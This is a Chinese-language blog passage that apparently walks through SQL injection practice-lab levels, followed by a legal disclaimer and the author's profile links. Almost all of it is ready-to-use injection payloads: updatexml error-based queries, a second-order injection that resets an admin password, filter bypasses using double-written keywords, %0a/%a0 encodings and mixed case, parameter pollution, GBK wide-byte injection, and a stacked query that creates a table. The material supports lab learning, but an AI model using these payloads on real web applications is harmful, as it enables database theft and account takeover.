这里#、--+均被过滤了,但是我们可以利用or "1"="1来闭合后面的双引号也可以达到我们的目的
-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
这里是个二次注入,原本有一个管理员的账号密码是admin/admin,首先创建一个注入的恶意用户 admin'# 密码为123456
此举目的是利用注释从而更改正常用户admin-admin 账户密码,修改我们恶意用户密码为123456,通过admin-123456登录
发现登录成功。因为修改密码处形成的 sql 语句是
UPDATE users SET passwd="New_Pass" WHERE username ='admin'#'xxxx
这样#就注释掉了后面的 sql 语句
题目很直接,提示直接把 or、and过滤了,但是可以用&&、||绕过
admin'||updatexml(1,concat(0x7e,(select @@version),0x7e),1)%23
也可以双写绕
0' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata;%23
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23
题目提示空格与注释被过滤了,可以使用%0a绕过,可以盲注也可以报错注入
0'||left(database(),1)='s'%26%26'1'='1
0'||updatexml(1,concat(0x7e,(Select%[email protected]@version),0x7e),1)||'1'='1
题目提示空格与注释被过滤了,可以使用%a0绕过,报错注入不出,可以用布尔盲注
0'||'1'='1 #探测为'
0'||left(database(),1)='s'%26%26'1'='1
白盒审计知道是')
0%27)%a0union%a0select%a01,database(),2||('1
0%27)%a0union%a0select%a01,database(),2;%00
题目提示union与select被过滤了,可用大小写绕过
0'||'1'='1
0'||left(database(),1)='s'%26%26'1'='1
0'%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
增加了"
0"%0AunIon%0AselEct%0A1,group_concat(schema_name),2%0Afrom%0Ainformation_schema.schemata;%00
union select大小写均被过滤,但是select还可单独用,盲注即可
0')||left(database(),1)='s';%00
依然可以用盲注
0')||left((database()),1)='s';%00
0')||left((selEct%0agroup_concat(schema_name)%0afrom%0Ainformation_schema.schemata),1)<'s';%00
利用tomcat与apache解析相同,请求参数不同的特性,tomcat解析相同请求参数取第一个,而apache取第二个,如?id=1&id=2,tomcat取得1,apache取得2
?id=1&id=0' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
与 29 架构一样,原理一致只不过加了"限制
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
架构一样,多了")
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
注意是GBK,可以用%df进行宽字节注入
0%df%27%20or%201=1%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
0%df' union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
uname=0%df'%20union+selEct%201,group_concat(schema_name)%20from%20information_schema.schemata%3b%23&passwd=1&submit=Submit
0 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
0%df%27%20union%20selEct%201,group_concat(schema_name),2%20from%20information_schema.schemata;%23 -1%EF%BF%BD%27union%20select%201,user(),3--+
uname=0%df%27%20union%20selEct%20group_concat(schema_name),2%20from%20information_schema.schemata;%23&passwd=1&submit=Submit
获得版本和数据库名
?id=0%FE' union select 1,version(),database() %23
获得表名
?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
堆叠注入,成功创建test38数据表
1';create table test38 like users;%23
再次查询就会有新建的表名
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。
博客:
先知社区:
SecIN:
https://www.sec-in.com/author/3097
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog
公众号:
FreeBuf: